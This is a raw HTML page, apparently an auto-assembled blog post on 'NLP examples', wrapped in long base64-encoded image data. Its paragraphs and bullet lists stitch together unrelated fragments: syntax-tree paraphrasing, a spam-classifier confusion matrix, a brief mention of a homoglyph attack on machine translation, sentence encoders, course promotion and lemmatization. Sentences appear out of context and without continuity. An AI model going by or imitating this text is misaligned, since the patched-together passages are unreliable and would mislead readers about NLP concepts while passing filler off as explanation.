tAJu4A2IEhJcQQ3OHEHY8xw1XvZh0dPMxzyLtjlABLDyFubdNRzy7+PR\/I5ywVFHWGM3DnB7szDYki\/hYuJuLDQnS4XoUP8ThLf10Ti2oa\/ridczQDub2sTzuPK1r6WE9rszQ4HQgLV0ctc3IK2INyg2fA8ZDYWINybH3++1gNlC7NDG7tatB132VkmmV2dCjsqv6QyDxJKLZuwLi1x3W7q0Dsqq6Qi0cUy5svcFrgnk1Z7uiNXsaJkzS1wABe7Q+f9tvVZEkA7xeHbnU7pkyG4a4uI8CQftCWT1QaX3iBtk7ZJPpb+1ZYvg1vsmMfrYNtz2WetFxY5hvvdMzyNjmGZgsHWtbNlNxd4I5m+qwQIAQ5zTkBabHw1577o8NcFWGSic5u0fBYSGOcxxA2bvoRb4pd76+KpmsAEIQoAEIQgBCEIAQhCAh1OGZXiWG+ZpBA8VPab9q977+RTmd1819UhrQ24A31QCX95JSn95MlxudUAp\/dSEEk7lCAEylOcQ4gFJXQCchiMri3wF02dASp0LWsjD9GAsvmva510109ynGLyBLheNoHZDAGl1r7693c+5YlldIC2RuZ4eDkJAeNO8OVraZUpz237Qs7MBc6Edojvbt05C4TGTsAljXkgvysJzBwNhYnc21WhvKJxGOtaJpO22WORwOZgyl7vymg7NHMLd8KcTTcNT19fTvLZzRyMDmtBY\/R1raeJ+weC0MrpDUCdzHRvcQ0uBtm8hbkf712vRjwfi3F+K1lBgeGx1lRTwdY81M4iiga4lpBJPaDtuRB1us90FZFxkSjxLJXkvWzMNRKHXkjvFn8A7LYe6\/olYRSl9dB1sbhH1jc5IsQLjYb39FfzPZa6W5DHQv4ewuYFszmNjxJhkZ1p7zstwGjkOdlLxT2aOLuEuEa3iWuwzBHPpYGzsdDi7552CMjri2E09vDQvbl2LjdVQhykclYmiDTvnliEuHQxwUzGHrnBzeuLBcmw8C1hGgsL28lpK\/hTEiHmWtE1Q1w7b2uMgOa2j7Xtdp0tpmvudOrw+Wn6jsl5gmu5sM18oYTexbmcy3I2v6rZ2a3JUOYQLDnu0dojyIF9TpcnmvsYaeFtSi\/0UbkUliU1dgxLauizx91zxI6Qg+9arGq+LFqWkFIx7X0heXlw3zG\/9hVz8Q8JxYzG5jpic\/Ztmte1yPfcD4X5rj8J6EeOsTxNmB4VFRyVOIv6ula+cAu\/O3IsDrYFeHrfHyobmvX9k4J2NRjy39HH4dHOS2UiGcW7jhquzw2mwmSJjn0XVvcwkkWs02\/f99u94g9jPpk4Xw5le\/DKDHGOYHEYHUyTvjH84OjY4HyDT6qsJMAxvDKiSjzTRSU73QvjqG5XRPae214OxFxmHmsWmsjYvw5NVunuoaVkWjaVnEXC9AHsaDmALWnLpexufgSP+EX3smcFpKDiWm+dzMGzQTOjFrm1jpoN9LaeAJ3DQYc9PXVEQpq2gima+zS+MAW1va9t\/rehHJRYKqfBHT0WHx5TI4F95PhoN+R+B8Fs3teyM8pxS5Z0VRg7JGdusIf9YtaAPs28raEA7WAOnrMHoqdp67F3Mfy7dwPXyOoHm13IAujRQcSYtURwwun6yZ7Yo2xRXc97jo0Agk3IG19h4L1B0N+wfTcSYdUVnTLxBiGEVMgbJS4fSOYZGNcN5cxsHaAZQbgAZrHsjLqNZVWvy4Nmi0Oo1s9lMc\/3PI9dPRxBzG1xnttotEQ6qlu1pFu75lepPae9knBuhihwnGeCOJKvGabE6g0xo6mBoniktcODmmzmePMKj8N6PMfNXE7EOrpjq4My577m2m\/dOqrrrlqPyrWUU6zTWaOx12rlEjCpYYqKipsUhflFOHSmOwdGXPJZbXW4Jv4WapLpYGR\/5thkYZG5HRVEjSx12jRwaTYdo6W235AdFRYH1c8DZZHyyvAcSczWta0sHZFtLE2P5qltpqYUVPG1jg10JJLQSHDKzIL3BJvmG+l\/Ne1VpZJYbRmODqaarY6Kuw+inpbl0hYyfrYJXXcSCywI029fCy7bDaptTh9POxrQHxtNgdAbaj4rT421lPITG5sDmi7WF7ruBAab6DKb2Atm7p0U7h4RfNEBhdmY4ve3S1rvJt7r2VUo7JbSFnRs85OllVfSES7iSV9yNA2wP81qtIm2oVW8fRyy8UTRQtzOyAtaCAXHK3QeKou6I1dnO5Wg5jZugAsLXcdkul7MheQLAXc7m2\/IDmky5XARA5ms0uQQSed\/Pl7kqnJMvWuAOS95De8Q89NisKNjMyGFj3dU5sYeHNDWvNgXWWWtlMTjNKblr79sO2b4bhAjMkz5AyQMZkIDmjQkjU+XgnpLGR2kYv1gPY6okZrWB+sbKUeyLWUOXDszm9oWLrhp7OgPPVu6W1xJI8Od00CesY27wC5zS2R1nOG1r7P0A9EvZ5sLa7JYskGsDiEIVLWDgLDjYXWSmi4ncrgFdYfBKabi6bS2d1AKQhCAdSZNgthU4TNSwNmleLu+oBchQpIZWxCV7LNJsCDcFcUovo7OLixlYOx9EA3Qdj6LpwbWCQNyspEm4QCXG5uFhCDouoC4mPfMxrN81zvsN1IhdGY32d2TC05mOaOX1nWtby3SaNvVzwyOOhcAfRNxEtDY5AMwaIxnDRbU6ho0dpbdaYx4ydSyx+V8bgJnuaO9lD2m173BY0a6jxTFT2CxlSZWvJ7IMtzlcL5g3YEJbrCJziHtyhp7AzSXBynNfuX396am06xmVrC0ljiwZibWLSSdvcuSeCaWCNUHMQ8OkLGXaOsGoZ4HzOqvT2TqyWn4nxtsLSTNh7W5muB6qLPdwy7k787W5FUTNkkYHPqnPkAzyW7rR4+oXun+Ccpaav6UeNDPFA98fD8Tmgx3uDUMsddiRf4qDeTk5bVlFj4FHNRxxR8J0MldLM3M+Bpe9rhzkzA9gj8nUcrA9oROKqfiiOnmpsP6MuMMZr8RgaKx0OAVUlO5ti0sLizKAGuIaATbW5K+hJpAGNYC4ZT2fIeHp8Ek4bTzXbLTtf5uN\/s\/6rqrxyjL8jfB8dcb4I4o4QljpuIeFMawCllfehZiFO+NzowSLcgS0AaDtWtstbJ1lPK4zxvbc6ZgWHy0+tpbXntyX10436IuD+PcCqMAx\/ChPSVA7TWuLHBw7rmOGrXA6g6+hXknj7+D7xqllkqujzi6CsjjZmbS4w0Rv1O3XRtAd6FoXu06z8EpHTyLg9ZIQ+rmGUGRzGAOvnOo0eeW+jW7G+puTb3QRHh9ViPEOONYJcWo3R0ETXOu6OPqw9waTp2i4AnmGBcpxF7MntB8AV1bNifRZX12Ht\/CmpwmeCra61hdrGSGQ6AfUHNVjS9InEvRB0gjiV+H18VDWMjFdSSwujlbI0WJLHAEaH7F5\/mrpanRuqp8np+Htro1Ssmj3PgvSlxXRmrwzFOGKyhhqA10VXHUskiJAtZwBuAR5FeVekDoS6Tsa6ScYxzBeFJMZpcYq3VdPLQSRBrAXXDXh7mlrm+mU73V88KdM3CvGfD0WM8K4nS1kcgAqGSOAMLjYWe3vN1O9rLueKeIcM4QwB1FhEVPW1M13Oq6CoYbuI7YNjcWadOfOy+J0eqs0D6P0DVaajy+nSjI8s4N7KfTbxPRSy4tQw8PQlpYJMQnL377iOPMbW5OeNRoQLAdzhnsidH+A0EWH8RcRcYY3XgB3X4fTwUlM875PwgkIJPNzvculxDjLiGel+ccS4wmPWjKyKphDhYbNJaAfetVFxfxNVtiZ84UsETDmAbK8B49+yvs8vddLKXBno8Ho9Ovz\/J\/3Ou4X6HeivgTG8Kx7AOBK6nr6PNIKmuxMVUcbnb9kGzneY0HJa7iniDHJsalxfAsdmo25h8qbIBIJR4WOg9wWnm4xxbKIZqlpHL8Lmv77Lh+MukDDqOOSmp6xglJJfdwaQPMFZJTv1DxNZRplbpdLFxrwjV9NfF09VBQ8SV9dNUmGQU0jJJnWETrhpaNm2cQ7Te1lxAniEsjbkyPJLTbtayNcLW5BoZsfqqtekrpFl4gd8z4fP1vbawWIILifK63rsdpaCmihq6pjJmxtbdzxZxAGl72J94X2Pg7nTRKuax+j4TzMo235g85JsfXUtL1MTesLDmMlg7W9nNsTzOQ359VbbVJfUGaONzmjNG3K4OcXaWbbXlftWd5eSiUdc+slD4g6VrxctYQ45ifgft123Vi8D9BXSrx\/UOiwLhHEIYHdp1ZW0skEAB5hzwA73X8ydLej8+1ZPLfCKlxepJLKeKd2aV2UNOg9w+y3mtvhdK3D8Phoy8OdE2zj4uvqfjdegm\/wfHS2+oZikfFGByyQ9uOEskbZ\/mToea1GN+x57Q2CtdKOHW4oxpu5+Gvjmt\/wZw8+5pWZWKUtzKpvKKfDm3HaaPUqteO3Mfj0g7wcBpyPZHPZXPifRvx9gE4gx7BsWwyUHVlZhM0JHuksfsVK9IdLU0PEstJUVLHvbHGSLZRtaxFyOX2hQunlcCrs5wfi\/wgz3Nx5nx\/s9ycYHFgFo3FgLmk\/WdzB8kl1y6zWkNAvb8geCU+78zXMLg9jerLPEc\/hyWRco2MTTBkjxGfk\/ZOt3ZftT8Ds1onmUZQG2y9Y218x15aNTbWNfls8tAIDXOhsLHa\/uv8EpwLYy6JjQ4xv\/Fy6nkDbluVKPZwVne6FxDRcsByg5mG7r6tUgtlyEhthlc1wa11gbeIP69E0HsJeIpgXEOGcWa8BoGltrclgPcS5rm3eJb2ygWGXfQ6rsiEiQxzX5XMNw1tj6paYpeyHM8TdPqmXZEEIQogEISS6xtZAKQk9YPBCAcmxmUjq5yZXG1mpUlRPOAZZGu00DRYBawfyrD\/AMX3SpNL3XfnLNRz2adVxIdAsklxuQlpo7n1WkzGHEgXCbJJ3S391NoAQdj6eBP6kJMv4p\/5pXV2CbOwRRlrSRYE3Ow0G\/Mb8wmCXl7ZBGQJgQSxrLE2AsLeg13Ums\/Fw\/nH9QUCq\/jrf0X961f2Ox7HGONhEW9oOc4sjdfK1wsczvG\/I3Q57nBsZY5uawLYxcFzL6Ene41NlEo\/4rUf0U\/eClN\/kSf+nf8A6yoSLCOADIYnxMaS6\/ZdmaD5le9f4IcOn6VuOWCANaeHY3XI7X8ZYvBMX8UqPzR+tfQX+CI\/73+Ov\/tyP\/8AJYolcuXg+oHyN9r25IjpnA3cOS2X1Pcm1KLeSjCIohsC2w1STSsc4OewOy7C5A99t1MQrMsGokwlkoIkZmuQdhoR4DYLmuJuiTgvi5hZj\/DOGYiNcrayljmynxaXguHuK7xNy95nqu\/9WyUPY828aexn0a4035TgXD1NgGJxWMVZhUbYHsAN7OaLNe0+BB8rKn8U9jbpwwTDsSw3hTpFw2to6qoFSyirsLYwtkAs17ZGuBBIAvy8l76m\/Et9VDP4135zP1hefKqEu0exTqrqI4rk0fMyu9jT2pMScBVcS8OxMjdYNbM8H7pC2cfsXdO9THDTYlj2CNYwWLmCoJPwa0L6OD6\/56Jdh6KK09UeFFE567UPlzZ4q4D9lHjrhgNbPxTDGbfhBRUcDXuN+ckjXP8A\/cunxT2QuDuMHiXjjBGY7N+XXufMfdc6e6y9XN7oSx+OHqrowX0ZJWynzJnjem\/g6vZzbiDcSPAnUztNw2Kvqmx3\/R9Zl+xWZgXssdE3D0TYsK4AwFjW7ZqCJx+Lmk387q85fxp9UibvD0WiPRisk1Lg4PCujXh7BWtbhuA0VJlAF4YGttbwsF0TMKhDm\/gWtDRYZRb9W9\/Nbk933JpTzkrbbNc\/DYQCWQgfEqI+gN7AW8Ra4d6g6fYt6O65RX98qDWFwcNRNhFNVN6mqo4Z4zp1ckTXt+BBC+Pv8IjgGHYF7TuNUeGYbTU1M3D6Fxp6eNsUcjjC0lwa2wvz9V9mWd8L48\/wlf8A9T9d\/wCmUH7JqhlkoLEjykHZiHue4XFw\/wDLtycPFYc4uc6IvygHutNm3TzPxtV+lYoNJ3x6qvOHg1M2UGdgzDrG2BBLDnAJ23\/fUpYY19m5oiC1sWYnK8WuTy32UJn8af8ApG\/rWxrd6H9NN+pqsODL5XSQmDO9vYI6uVgJJcbmxHkhsbC5rmixYS29hdxO522sig\/jFL+kd91Of6SD816ZycxkVCfwpH81PqPD+OP5v9qkKuXZCXDBCEKJwS9xFrJBJJuUqTkkoAQhCA\/\/2Q==\" width=\"303px\" alt=\"nlp examples\"\/><\/p>\n<p><p>A syntax tree of an exemplar sentence can be extracted at different height H, and it can be fed as an input to the encoder-decoder model. Lesser height gives more flexibility of paraphrasing, while deeper height would try to explicitly control the syntax structure of paraphrase. For example, using NLG, a computer can automatically generate a news article based on a set of data gathered about a specific event or produce a sales letter about a particular product based on a series of product attributes. Generally, computer-generated content lacks the fluidity, emotion and personality that makes human-generated content interesting and engaging. However, NLG can be used with NLP to produce humanlike text in a way that emulates a human writer. This is  done by identifying the main topic of a document and then using NLP to determine the most appropriate way to write the document in the user&#8217;s native language.<\/p>\n<\/p>\n<ul>\n<li>While supervised learning techniques have performed well, they require lots of labeled data, which can be challenging to obtain.<\/li>\n<li>You see more of a difference with Stemmer so I will keep that one in place.<\/li>\n<li>The benefit of training on unlabeled data is that there is often vastly more data available.<\/li>\n<li>It revolutionized language understanding tasks by leveraging bidirectional training to capture intricate linguistic contexts, enhancing accuracy and performance in complex language understanding tasks.<\/li>\n<li>NLP attempts to analyze and understand the text of a given document, and NLU makes it possible to carry out a dialogue with a computer using natural language.<\/li>\n<\/ul>\n<p><p>I am assuming you are aware of the CRISP-DM model, which is typically an industry standard for executing any data science project. Typically, any NLP-based problem can be solved by a methodical workflow that has a sequence of steps. The nature of this series will be a mix of theoretical concepts but with a focus on hands-on techniques and strategies covering a wide variety of NLP problems. Some of the major areas that we will be covering in this series of articles include the following. This confusion matrix tells us that we correctly predicted 965 hams and 123 spams. We incorrectly identified zero hams as spams and 26 spams were incorrectly predicted as hams.<\/p>\n<\/p>\n<p><h2>(F) Does encoded linguistic knowledge capture meaning?<\/h2>\n<\/p>\n<p><p>In order not to violate terms of service in the case of making API calls, the experiments were uniformly repeated with a perturbation budget of zero (unaffected source text) to five (maximum disruption). The researchers contend that the results they obtained could be exceeded if a larger number of iterations were allowed. In this hypothetical example from the paper, a homoglyph attack changes the meaning of  a translation by substituting visually indistinguishable homoglyphs (outlined in red) for common Latin characters. To predict a topic of a new document, you need to add a new instance(s) on the transform method.<\/p>\n<\/p>\n<ul>\n<li>The Universal Sentence Encoder encodes any body of text into 512-dimensional embeddings that can be used for a wide variety of NLP tasks including text classification, semantic similarity and clustering.<\/li>\n<li>The program requires a small amount of input text to generate large relevant volumes of text.<\/li>\n<li>These include artificial neural networks, for instance, which process information in a way that mimics neurons and synapses in the human mind.<\/li>\n<li>Rather than building all of your NLP tools from scratch, NLTK provides all common NLP tasks so you can jump right in.<\/li>\n<li>We leverage the numpy_input_fn() which helps in feeding a dict of numpy arrays into the model.<\/li>\n<li>Let\u2019s now pre-process our datasets using the function we implemented above.<\/li>\n<\/ul>\n<p><p>Even though RNNs offer several advantages in processing sequential data, it also has some limitations. The seven processing levels of NLP involve phonology, morphology, lexicon, syntactic, semantic, speech, and pragmatic. Adding fuel to the fire of success, Simplilearn offers Post Graduate Program In AI And Machine Learning in partnership with Purdue University. This program helps participants improve their skills without compromising their occupation or learning.<\/p>\n<\/p>\n<p><h2>Using a regex parser based on grammar to extract key phrases<\/h2>\n<\/p>\n<p><p>Customization and Integration options are essential for tailoring the platform to your specific needs and connecting it with your existing systems and data sources. From a future perspective, you can try <a href=\"https:\/\/www.metadialog.com\/blog\/examples-of-nlp\/\">nlp examples<\/a> other algorithms also, or choose different values of parameters to improve the accuracy even further. Lemmatization is the process of reducing a word to its base or dictionary form, known as a lemma.<\/p>\n<\/p>\n<div style='border: black dashed 1px;padding: 14px;'>\n<h3>Microsoft\u2019s Dynamic Few-Shot Prompting Redefines NLP Efficiency: A Comprehensive Look into Azure OpenAI\u2019s Advanced Model Optimization Techniques &#8211; MarkTechPost<\/h3>\n<p>Microsoft\u2019s Dynamic Few-Shot Prompting Redefines NLP Efficiency: A Comprehensive Look into Azure OpenAI\u2019s Advanced Model Optimization Techniques.<\/p>\n<p>Posted: Fri, 04 Oct 2024 07:00:00 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMijwJBVV95cUxPY3dBSVVoNDRiclppQ09qVFdxanZYSENya0JrcUVfd1h3YkZ5ekd6aE9xbjhlelIzSEVndzNyQmV6Q0JwQ1hQeVRCYmlRbEsteDZCSlVMdEpkSGRYUzkwYXFpcHBLc2lXb2wxVzN3R2dBV3ZOaWtpMWdORDN2T3UwcVVfRzZiY3YxTkVCVkNOdVF2dmpHYmpIS2pIZ0ZHQlN5VkRtYThyTUdpdzNOY0NTMHljVnlHMFJNOUVhRzRjOWltNW9ENnlfVnlYVWxFWHpBS3JJY2ZGVWNHOGxsbG1kNllFZGJ3RDV4cW9sV3FMVFJYSzFKdlFqSEtiZzAwVDlzZ1RoSjFoY2tKUC1hRVRN0gGUAkFVX3lxTE13UnNFWXhFODV0emtFeUJxeERockQ5VFBsbUhzME5zd2tIOWZJRXR3d2dEZXJsd1d2UjI3bDl3cFQ0dFQwanZoZ1Ywc2dRS1dtUkdqaG9CUE92OTdIZjBOLUlfdTFraHI3cUJvYTQ4SUk1VUFnVzhoUjhKQXBNekNjRi1ZU0JVU2p0aFl2ZG0xS1FZRE5feGY5ZHBXWWpiWlZaY0Z3X1Q5clF4ZmpNa1Y3RU15NTdyVnR0RjFLWC02NWVaVUJnSkFxZnpXMGszSVNWX2hFXzFfUmllOFlQNEtRR1RZbUxMbGllTGNSVFV6eDQ0cXVUdF9SRHAtTmZxOVhhcVpLOEdDS0VHRjA3VVJFbEhjRw?oc=5' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<p><p>There is some basic text wrangling and pre-processing we need to do to remove some noise from our text like contractions, unnecessary special characters, HTML tags and so on. The following code helps us build a simple, yet effective text wrangling system. We encode the sentiment column as 1s and 0s just to make things easier for us during model development (label encoding). I provide a compressed version of the dataset in my repository which you can use as follows. This is just like the Skip-gram model, but for sentences, where we try to predict the surrounding sentences of a given source sentence. Increasing the number of dimensions benefits some tasks more than others.<\/p>\n<\/p>\n<p><h2>What Is Machine Learning?<\/h2>\n<\/p>\n<p><p>There are several different probabilistic approaches to modeling language. From a technical perspective, the various language model types differ in the amount of text data they analyze and the math they use to analyze it. These are advanced language models, such as OpenAI&#8217;s GPT-3 and Google&#8217;s Palm 2, that handle billions of training data parameters and generate text output.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/4gIoSUNDX1BST0ZJTEUAAQEAAAIYAAAAAAQwAABtbnRyUkdCIFhZWiAAAAAAAAAAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAAHRyWFlaAAABZAAAABRnWFlaAAABeAAAABRiWFlaAAABjAAAABRyVFJDAAABoAAAAChnVFJDAAABoAAAAChiVFJDAAABoAAAACh3dHB0AAAByAAAABRjcHJ0AAAB3AAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAFgAAAAcAHMAUgBHAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAAAAAAAABvogAAOPUAAAOQWFlaIAAAAAAAAGKZAAC3hQAAGNpYWVogAAAAAAAAJKAAAA+EAAC2z3BhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABYWVogAAAAAAAA9tYAAQAAAADTLW1sdWMAAAAAAAAAAQAAAAxlblVTAAAAIAAAABwARwBvAG8AZwBsAGUAIABJAG4AYwAuACAAMgAwADEANv\/bAEMAAwICAgICAwICAgMDAwMEBgQEBAQECAYGBQYJCAoKCQgJCQoMDwwKCw4LCQkNEQ0ODxAQERAKDBITEhATDxAQEP\/bAEMBAwMDBAMECAQECBALCQsQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEP\/AABEIAR8BfwMBIgACEQEDEQH\/xAAdAAABBAMBAQAAAAAAAAAAAAAAAQUGBwMECAIJ\/8QAXBAAAQMEAQIEBAIEBwgLDQkAAQIDBAAFBhEHEiEIEzFBFCJRYRUyI0JScRZWYoGRldQkMzVydZOh0RglQ1NVV3OClLO1CSc3RWNlhZKipLG0wRcmNDZEVHSDw\/\/EABoBAQADAQEBAAAAAAAAAAAAAAACAwQBBQb\/xAA3EQACAQMCAwUGBQQCAwAAAAAAAQIDESEEMRJBUQUTYXGhIjKBkeHwFEKxwdEGIzNiFVJywvH\/2gAMAwEAAhEDEQA\/APqnRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRRRQBRSHsN1z7yb4xMM4w58xXgy7Wae+7kK4rEm6s9Pw1tflKWmK09s7BcU2dfYg\/WgOg6K8KdbSAVuJG\/qaREhh1SkNvIUpPZQCgSP30BkopCQkbJ0KxplRlOFpL7ZWn1SFDY\/moDLRXgPNK2UuJOux0fSvKpUZDZdU+2EDuVFQ1\/TQGWisaX2VI8xLqCn9oHt\/TSfFRusN\/EN9RGwnqGyKAy0ViEmOpZaS+grT3KQobH81C5MdsEuPtpCfUlQGqAy0VVXic5gncGcE5Zy5ZrXHusjHYrUhqK66UNulb7beioAkDS9+ntViWa5\/H2WFc5XQ0qTGbfUN9k9SQT3P76AcaKxtvsvJC2nULSfQpOwa9KWhGypQGu53QHqisSJMd1JW0+2sA6JSoEbrnuw898n8gc9ZNx7x\/idhcxTB58e33y5TrgtEpx11vzCI7aUkEJBHqe9AdE0VVXiS57tXhw4rlcoXmwz7yzHlxoaYUEpDrrjzgQnXUQPfdato8SeHZJ4dnfEbj0aTMsrFneuzsMdKZDamgfNjqBOkuJWlSTs62PpQFv0VRt38UVjtONcV5MvHJ62eU5seHDbC0BUQut9YLnfRA9O26sXlfkGFxRxrk3JdzhvS4eMWmVdn2GNeY6hlsrKE70Nnp0N9u9AS2iuV7P45DFjYzfuTOEcww7GMt+EFtyCV5L8PclKVMeYW1ko6wpOiR711MhaXEhaCCD3BFAeqKKKAKKKKAKKKKAKKKKAKKKKAKKKKAKKKKAKKKKAKKKKAKKKKAKKKKAKKKKA1rlPjWyBIuEx5LTEZpbzq1eiUJGyT9gAa+U1\/wCTcA5d4s5ryS+w8qTnOZ3v8VxiTDx6W+iMm3EfhyUPoQU6JQr5gewdNfTflLCHuScAv2CM36VZfx2C5BXPipSp5hC+yikK7bKdjv8AWvXHnHuP8bYNZcDsMNAgWKC1AjdSR1FCEgAn7nW6A45535junNHg24o5LxTIZdjuWUZDY2JciC4ULjSvO8qSga9kupWNH1AFOl94wjeG7xI8LP4JlGSOozidNst\/auN0dlIndMcuh5SVkhK+oewFWFF8EOLwcGmcdQsyu7NiXnf8ObfFS00U25fmpcMNr\/yPUDrfcbPv62fyLwrbuRs74\/zu4XiXEkcf3J+5RWGUJKJK3WS2UrJ7gAHfagGnxdcjX7ibw08g8hYuNXe0WdaoS9b8p5xaWku6\/kFzr\/5tceQuO+VrXjWHZZxHwzyuxnseVb5k3IbnkMV6LdGlqQZSnm\/iSChSFLKQE9u2q+g+bYfYc\/xC8YRlFvROtF8huwJsdZIDrLielQ2O4Oj2I7g6I71SGF+FrkXCU2vHYXilz5\/DbIppMGyrjQPPTHb10RlzfJ81bYACddj0jW6A5z8UPIea+HLme64bgeYJRbuZIrHxKpchxwYtJcdSyuYPUIbUlR0DoBWj96tnmLH+EcLsvGfD+VP59llyZhPi049j8x5yTdAEt+bLkkLSChJBIUtYG1q19rHV4S8KvK+R5edzpWTTuSk\/DTZMtCEqhREjTLEcAfIls\/MD+13pin+Dy4Lj4HebFzZk1pzbALa9ZIeToixn3ZlucPdiQw6ktudOk6V2OwVHZ1oCjOFMgvlmx7xP4DEiZTY7NjcFibZrXfZnnTbWX4S1LSHErXoFQChpR0NVC8r4xueIeC7EPEvbeSctVyI0m0zG7o7dHFNpQ66lvyPJ30FACh2I767+tdcYZ4RLViLXI5lch5HfZ3J0FmNeLhci0t\/zUNLbLqelISNhfZASEpCUgDVOWTeFuxZL4crZ4cX8luDVqtjEJhFwS2356xGdS4klP5dkp1QFFZzxenw68tcCZvh2XZNKueZ5WjGclNxujkhu6NSo7i1OLbUelKkqRtPSBrt9KWycWxObvFvzjjec5dkisasblpWxZodydjsqdXEHzkoIIA79hobOzXTHKPCFs5PuXHdyuF6lw1cd5HHySKllCVCS6y0tsNr36JPmbJHftXMNo4NzHO\/F7zjlGMci5Zx7cml2lqHdbay24xLYVFAcbW08ktu6KQQexSR60BW2bXG+W3wZeKXiWdfZt5tnH9\/TabRLmPF534UyIrgbU4SSrpKiNmrO8SuWZLkHL3EfBkfG8ov2NScVeyS62nHZqIkm5rb6Wmm1OrcRptshS1JCtnqHtVunwYYWPDzlXALeSXkpzRwyr1kEhSHZ8uWXUOqfXsdOyWwOkDQT2FSLlrw12zks4nfrVmF6xLMcHQtux5HavL+IZbcQEOtONuJUh1pYSNoUPbsRsggVl4VMX5Qw\/l7LICuPMvxTjKbbI8i2wsiuTMtce5BZDoaKHXFBBRo6PbYre8XV2veU8n8PeH2JkE+x2TkC53B2+S4L6mJD8eHH80Rm3B3T1k\/NrvoCrb4p4wzrB5k2551zTkeeTJqEtpE+LFiRYyQd\/omI6EgKPuok7rX534Bx3nW2WhM+83TH77jU4XOw321OJRLt0kDRUnqBSpKh2UhQ0oa9PWgOe8h4\/g+GvxJcUWbjK9XtOPckrn2K+2SZcXpLbgQx1olN+YSULQSeoj12KbvBvwNgFq8QvN11ht3UP4hlUaNbCu5PKSELhhSvMBVpw7J7q3qry448MMjHORIvLXKHKmQ8kZZa4rsG0SrozHix7Yy6NOeRHYSlAcWNBSzskADtUu4x4VtnGOacgZnb7zLlu8g3Vq7SmHkJCYy22Q0EoI7kEDfegKZ\/7pYNeGpsD+Nth\/8AnEVT\/NiF+GW68xcTrSI+A8wY9dL9jXs1CvQaJlxE+yQ6NLSPr2Hoa7C8QfB9p8QWADj+9XmZa4wukK5\/EREIU51Rng4E6V20da37f6Kb\/Er4bsK8TvHK+PczemQwH0S4twhFIkRH09utHUCO4JSRruCaA5ezUf8Aeo8Hp9hfbdv\/AKNXS3jMIPhP5cA\/ibdv\/ll0y8heEa0ZxxvgHH9uz7IMee45dYftF2hJYXJ8xpvoClBaSg9u\/pQ14YcyuOC5tgOf+IrMsyt+Z2N+y\/7ZxYaPgA6hSVPNeU2na9K9FHXagKLs+A+IzxKcD8XcV3jBrHiWCMW3H5k28KunxMyXFjMsuNeU0EgIUvoSTs9t6ru+HHREjNRWwehpCUJ2dnQGhTNgOKM4HhGP4RFlOSY+PWuJamX3AAt1thlLSVKA7AkIBP3p\/oAooooAooooAooooAooooAooooAooooAooooAooooAooooAooooAooooAopPTuaWgCiiigCiiigCik331S0AUUhOqWgCiiigCvPQkegr1SUAtFFFAFFFFAFFFFAFFJS0AUUUUAUUgO\/SloAooooAooooAooooAooooAooooAooooAooooAooooAooooAooprk5PjkN5cWXf7cw82elbbkptKkn6EE7FAU9z7zze+LcnsFrsLVqeiMNm95UqYVFcazCSzHKmQlQ06S844CQoFMV0a2QReTSw42haVBQUkEEe\/wB6pjJuIuCs1yXJMqzOZYb5OyKLHgBU2Qy58DGZbUlLTGz8gKnHXD\/KWfoKsnCbdDx3D7RY4d6XdItrgtQ25rjqVqeQ0gIC1KHYnSe5+tAVVz34g5eCwr5Y8Ox+8zrtaG4S5lxYiNuw7cqQ8hKEvdSgpRUgk\/IhQSFAq0KfHvEXjUbIlWd3Hr8q0s3hOPO5EGG\/w9FyPSn4f8\/mk+YoN9Yb6Ov5erYpk5D4j4\/z293W5u8puWpi+txUXaDEnsBqWuMoFpSurZBHSkHR7hIrxL4k4\/cvMyezyePwuTeDkYsapzHwYunZQe2Pn6fNAdKN669n7UBJOOOfrRyVlTuNWvEb7DbENVwYuEoxfh5EcOloLSEPKcTtQOgtCTruQKknLOUu4Tx9fssZmCKq1QlyQ8YvxIR0+\/ldbfX+7rT++qQ8LfE2ZceXqTIk3K2rtaoham+RKjyjKmdZUHGlNISptvRV8jhUrvvfqaunkaJhuc4pecEvuTwoTN0jLhyNS20utg+vYnsf30Bgwvlm3Zrl+QYlbbJcUJx2S5DkXB1TAZcfQUhaEthwvDXV2UttKVAEpJFSXL8oteFY1ccrvbqm4FrjqkPlKSpRSPZIHqonQA9yRVeWDDcFsvJ07lKRyHEnXGVFehNoW\/GbDbDjqHOhSkaU70ltIQV76U7A9SanOW2HH+RMMuWO3J9D9qu0ZbDjrLo\/Kf10qHYEEAg\/UUBU2T895ZBu2CyYPGeWMIv1wmxXrIuNFVMmIRCU80tCw6Wm0b0oqU4nWiFaPanK6eKHErbiNizxONX5+w3pjz3paRHb\/DwHPKUl5tx1K1KSvaVJaS4R0n271s2DDMWtkyw3G98tG+TMckSHojsyXHSQlyMY\/lkJ12Ce\/wBeok\/aoJePDLw7d7ZbrSrkhCI8CE9A0qTGdK23JSpJKSvZbV1qIKkaJToH0oCY3vxD29+z5i\/ZrdcYKMUkIiu3ORHYfaW75zaFJSwmQh4\/n7FYQDvYKtaOzafEnjU\/K4uKuYzkTDEi9SsbReXoraIK7nHaddUwD5hX8zbDhSoJKNjpKgr5aY7xwxxtkN5vt8vfJTMiRe4jcElEiM0W2UPJeAUU6LhCkAAq3oelb8vjLjhNvjNQs5hh+35TJy+MVzWun415mQ30q0d+WPiVHQ79hQDrxT4h7Hy3fFWmyYpfoUZVrbvMS4TD